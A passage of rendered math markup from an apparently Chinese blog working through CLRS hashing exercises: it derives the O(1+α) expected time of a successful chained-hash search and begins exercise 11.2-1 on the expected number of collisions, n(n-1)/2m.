mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span><span style="top:-0.9697em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">nm</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span></span></span><span style="top:1.3377em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:3.4313em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:8.0687em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:8.0687em;"><span></span></span></span></span></span></span></span><span class="tag"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:8.5687em;"><span style="top:-10.5687em;"><span class="pstrut" style="height:10.5687em;"></span><span class="eqn-num"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:8.0687em;"><span></span></span></span></span></span></span></span></span></p><p>所以一次成功 SEARCH 操作的期望时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mfrac><mi>α</mi><mn>2</mn></mfrac><mo>−</mo><mfrac><mi>α</mi><mrow><mn>2</mn><mi>n</mi></mrow></mfrac><mo stretchy="false">)</mo><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \frac{\alpha}{2}  - \frac{\alpha}{2n}) = O(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>。</p><p>若散列表的槽数至少与元素数量成正比，也就是动态调整散列表大小以保持装载因子 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 在一个常数范围内，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mfrac><mi>n</mi><mi>m</mi></mfrac><mo>=</mo><mfrac><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mo stretchy="false">)</mo></mrow><mi>m</mi></mfrac><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\alpha = \frac{n}{m} = \frac{O(m)}{m} = O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.355em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">O</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">m</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，使得采用双向链表的情况下，三种操作的平均时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p><hr /><blockquote><p>11.2-1<br />Suppose we use a hash function h to hash n distinct keys into an array T of length m. Assuming simple uniform hashing, what is the expected number of collisions? More precisely, what is the expected cardinality of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">{</mo><mi>k</mi><mo separator="true">,</mo><mi>l</mi><mo stretchy="false">}</mo><mo>:</mo><mi>k</mi><mo mathvariant="normal">≠</mo><mi>l</mi><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{\{k, l\}: k \neq l, h(k) = h(l)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{{</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span></span></span></span>?</p><p>假设我们使用哈希函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span> 将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个互不相同的键 (Keys) 哈希到一个长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 中。在简单均匀哈希的假设下，碰撞次数的期望值是多少？更准确地说，集合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">{</mo><mi>k</mi><mo separator="true">,</mo><mi>l</mi><mo stretchy="false">}</mo><mo>:</mo><mi>k</mi><mo mathvariant="normal">≠</mo><mi>l</mi><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{\{k, l\}: k \neq l, h(k) = h(l)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{{</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span></span></span></span> 的基数的期望值是多少？</p></blockquote><p>上文提到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo stretchy="false">]</mo><mo>=</mo><mi>P</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><mfrac><mn>1</mn><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">E[X_ij] = P\{h(k_i) = h(k_j)\} = \frac{1}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，所以：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>E</mi><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo stretchy="false">]</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>P</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><munderover><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mi>i</mi><mo>+</mo><mn>1</mn></mrow><mi>n</mi></munderover><mfrac><mn>1</mn><mi>m</mi></mfrac><mo>=</mo><mfrac><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><mrow><mn>2</mn><mi>m</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">E = \sum_{i=1}^n \sum_{j=i+1}^n E[X_ij] = \sum_{i=1}^n \sum_{j=i+1}^n P\{h(k_i) = h(k_j)\} = \sum_{i=1}^n \sum_{j=i+1}^n \frac{1}{m} = \frac{n(n-1)}{2m} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span 